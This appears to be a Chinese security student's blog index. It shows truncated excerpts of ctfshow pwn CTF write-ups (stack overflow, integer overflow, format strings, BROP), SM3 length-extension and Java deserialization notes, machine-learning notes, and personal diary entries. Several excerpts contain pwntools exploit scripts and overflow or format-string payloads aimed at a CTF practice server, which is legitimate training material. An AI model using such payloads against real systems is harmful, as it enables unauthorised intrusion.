pwn111-134bypass安全机制
0x04 bypass安全机制pwn111
只开了nx,简单的栈溢出,连图都懒得截了,相信都到这里了,写出这玩意不是问题。
123456789101112from pwn import *context(arch='amd64',os='linux',log_level='debug')p = remote("pwn.challenge.ctf.show",28214)elf = ELF('../pwn111')backdoor = elf.sym['do_global']offset = 0x80 + 0x8payload = cyclic(offset) + p64(backdoor)p.sendline(payload)p.interactive()
pwn112
啊哈,保护全开(除了relro),32位。
分析一下程序就好了,后门函数在ctfshow函数的register_tm()中,只要满足var[13]=’17’就行
123456789from ...
机器学习1
机器学习入门1.常见算法有监督学习算法
分类(Classification)
回归(Regression)
knn根据当前样本跟其他样本的距离来对当前样本进行分类,超参数k用于圈定范围
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485KNN(K-Nearest Neighbors,K最近邻)是一种简单而有效的监督学习算法,广泛用于分类和回归任务。KNN 的基本思想是通过计算样本之间的距离来进行预测,具体步骤如下:### 基本原理1. **训练阶段**: - KNN 是一种懒惰学习(lazy learning)算法,它在训练阶段并不构建显式的模型,而是简单地存储训练数据。2. **预测阶段**: - 对于一个新的输入样本,KNN 会计算该样本与训练集中所有样本的距离(通常使用欧几里得距离、曼哈顿距离等 ...
2024中秋
9.18 12:23其实应该在昨晚写的,不知道为什么还是晚上写起来比较有手感,所以这里也就起个头,真正要写还要等到今晚。
9.18 23:27貌似有点小晚,为了不熬夜还是明天早上来写吧,希望明天早上七点多能起来,八点多来写就刚刚好了。
9.20 11:08很明显失败了,根本没起得来,现在是在宿舍码字。笔记本快没电了,没带充电器回来,赶紧码完回去充电了。
中秋有什么好讲呢?最近跑了趟北京,(什么京✌体验卡),感觉还是比较好玩,调休出去玩确实爽,可惜ccb的pwn一道都没做出来,全是堆啊,有点难受的。最近也不怎么发信息,感觉比之前要好,毕竟发了也没什么反馈(主动是失败的第一步?最近老是刷到小丑帖,合理吗)
接下来大概就要继续学习了吧,最近还要学ai和嵌入式,然后明天估计就能学到堆了,但是明天还有bytectf要打,估计也是坐牢,嘿嘿。
电量还剩百分之七,其实最近也很迷茫,跟朋友聊天,他也不知道安全的道路到底在哪里,是不是做不到顶尖就没有工作了(悲),而且最近乙方看起来都很惨,唉,到我们这届说不定大家都寄完了。
最后还是说点好的
中秋快乐!
附星萤图镇楼:
画师是这个老师:https:// ...
pwn101-110整数安全
0x03 整数安全pwn101
64位保护全开
看看代码
嗯,很简单,gift很明显是后门函数,这道题就是输出一下知识点而已
nc连接后输入2147483648 2147483647,获取flag
其实输入-2147483648也可以
从https://xz.aliyun.com/t/12747?time__1311=GqGxu7G%3DKCqYqGN4eeuqWuPmwqiwurwhfbD截的图,挺好的。
pwn102突然发现Reference里面的官方wp链接放的是我下载下来的pdf的网址,没绷住,赶紧修了一下
ok,接下来看第二个
64位全开
nc连接输入4294967295
又是一个新的小技巧
pwn103
64位保护全开
有种突然上强度的感觉
先分析一下逻辑,先读入一个v1,v1要<=80,然后再读取一个dest(读取字符串直到\n停止),memcpy将src赋值给test,读取v1个字节。再对dest进行判断,但是此处的dest其实是指的dest数组的首地址,一般来说地址都是要比114514大的,所以if判断是不需要理会的,dest随便输一个数 ...
再水一篇日常
9.5 23:54先来几张凉仙贝镇楼,这几张我还蛮喜欢的。
再水一篇日常,这两天又刷了一下格式化字符串的题,感觉不是特别难,但是还挺有意思的,毕竟之前用了那么久的printf也没发现(是的,我就是那种用vs studio都会关闭安全警告的人),可变参数,很神奇吧
9.6 00:00半夜了校园网这么卡,哪个b半夜在下游戏是吧。
私以为第一张凉仙贝是四张里面最好看的一张,第二张是最纯的,可惜不太适合当头像,感觉太像小白花了(其实也不是不行),所以现在头像用的是第四张,感觉比较帅,第三张比较适合当手机壁纸。
copy_paste了一下图片,忘了想水啥了orz。
感觉这个学期过得好充实,明明才第二周啊,哦对了,明天一节课都没有啊,挺爽的,找时间看看ai,还得学机器学习,现在ai安全也是热门话题(应该吧),到时候pre的时候估计会搞篇文章复现一下,好忙。
其实不太喜欢这个,最近还是学pwn学得比较起劲,没怎么研究ai,唉,时间有点紧了,要学的东西好多,为什么去年就没这种感觉呢。哦,去年在学web啊,那没事了。
主要还是没什么激情吧,明明每天能学十几个小时pwn,但是放到ai看一个多钟就困 ...
pwn91-100格式化字符串
0x02 格式化字符串pwn91啊,好累
题目tips:开始格式化字符串了,先来个简单的吧
开了canary和nx
可以看到偏移值是7,就是说输入的aaaa和0x61616161之间隔了七个位置
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p就是用来显示偏移值的一个方法
萌新可以先看这个https://www.cnblogs.com/falling-dusk/p/17858030.html,看完之后可能会比较好一点
也可以gdb调试一下,看一下到底是输出了什么。
可以看到是向着高位地址的方向读取的,也就是说有可能把canary读出来,不过对于本题的意义倒不是很大。
本题如果不用集成好的函数写的话,应该是用的%n,然后计算位于bss段的变量daniu和偏移量7之间的关系,通过泄露出的地址计算距离之间的,然后将bss段覆盖为想要的数值。
不过这里还是按照官方wp的解法写,直接上工具!真好吧
1234567891011from pwn import *context(arch='i386',os='linux ...
brop
brop非常nb的论文,也是第一次看论文(真折磨吧)
由于此题是以ctfshow-Pwn入门的pwn80为例,所以写的示例脚本也是基于这个题目
概述:如何在64bit启用了canary,pie,aslr且对这个程序没有半点information的情况下攻击这个程序
前提条件:如果想要攻击成功的话,首先被攻击程序得有一个栈溢出漏洞,而且崩溃之后不会重置地址的布局(也就是crash之后不会重新随机化一次)
攻击链条(attack chain)其实就是攻击步骤,不过attack chain感觉听起来比较帅啊
丢一段原文搁这,不能只有我一个人被折磨
123456789101112131415H. Attack summaryThe optimized BROP attack is as follows:1) Find where the executable is loaded. Either 0x400000for non-PIE executables (default) or stack read asaved return address.2) Find a stop gadget. ...
pwn35-90栈溢出
0x01 栈溢出pwn35同pwn23,就是同一道题,除了溢出的长度不一样,这道题需要你输入的参数长度更长一些
pwn36题目提示,存在后门函数,ida中可以发现可疑函数get_flag,使用checksec检查后可以发现只开了relro,其他都没开,而且存在一个gets函数的栈溢出点,那么只需要将gets函数栈帧中的返回函数改为get_flag函数的地址即可
123456789101112131415from pwn import *from LibcSearcher import *context.log_level = "debug"p = remote("pwn.challenge.ctf.show","28139")elf = ELF("../pwn36") # 从附件中获取offset = 0x28 + 0x4 # 获得get_flag函数的地址get_flag_addr = elf.symbols['get_flag'] payload = offset*b' ...
心情不好写点 & 2024年8月总结
9.2 8:36目前是9.2的8:36,title很明显,心情不好,不过因为现在还是早上,先干点活吧。本来昨晚是想写的,果然还是半夜比较有灵感,但是笔记本丢工位了,早上写感觉也写不出什么。
9.2 9:53突然想到个点子,要不每个月写一篇总结吧,这篇就可以当八月的总结帖用,ok。唉,周一还得上课,无聊死了。
上周一这个点tm在看BROP的论文,这周在看SROP,也没人跟我说学pwn得看论文啊,看到英文就犯困(悲)。
https://www.bilibili.com/video/BV1jy411q7eY/?spm_id_from=333.999.0.0(真tm好听,全靠这个活着)
9.2 11:04划重点,没带课本,用这玩意记一下
p1.最后一段最后一行-p2第一段第一行
p2 第二段-p3第一段第二行
p3 第二段第五行
p4 最后一段 -倒数第二段第一行到以下每一段的第一行 - p5每一段第一行
p7 第二段最后一句
p11 第二段第一句
p13 倒数第二段
p14 第二段,下一段第一句
9.2 16:36坏了,真心情不好了,唉。
难道说高温会让人变得易怒吗,好像也有这么个说法。
...
pwn0-34
0x00 入门pwn0使用ssh连接上即可获得flag,在一大段ai的臆想之后,终于可以使用ssh执行命令了,flag在根目录的ctfshow_flag里面
pwn1跟题意说的一样,使用nc连接上之后就可以直接获取flag,
使用ida反编译附件可以发现,其实就是在连接到nc之后这个程序就自动执行了cat flag的操作
pwn2依旧是同样的操作,使用nc连接上之后,执行命令获取flag
可以看system启动了/bin/sh
就是启动了一个交互式的命令行,通过nc连接之后可以远程执行命令
pwn3依旧是使用ida分析一下
其实就是一个简单的switch来决定要运行哪个函数,其实靠蒙也能蒙出来(其实看也能看出来),但是我们可以发现,选项4和选项6都是调用的一个函数,跟进后可以发现
12345678910ctfshow():int ctfshow(){ return system("echo /ctfshow_flag");}system_func():int system_func(){ return sy ...
sm3长度拓展攻击
sm3长度拓展攻击在打ctf的时候遇到的一道hash_append题,找了很久的脚本但是没一个能用之后非常生气,所以自己写一个
在已知原来的secretInfo的长度和hash之后,如何在补上append_data之后,预测到新的hash
即:
12new_hash = sm3(secretInfo+append_data)求解 new_hash
也就是说,在不知道secretInfo,只知道len(secretInfo)和sm3(secretInfo)的情况下,如何计算new_hash
那么这里的难点其实在于如何生成append_data
分析:首先看已知条件,hash其实是由V _i+1 = CF(V_i , B_i )得到的V_i+1
例如:对于secretInfo为’abcd’*16,即官方文档中的61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 61626364 6 ...
java反序列化cc3
CC3链适用版本:CC 3.1-3.2.1, jdk < u71
cc3和cc1最大的不同在于最后调用危险方法的途径不同,cc1是以Runtime命令执行,而cc3是以加载动态字节码的方式执行危险方法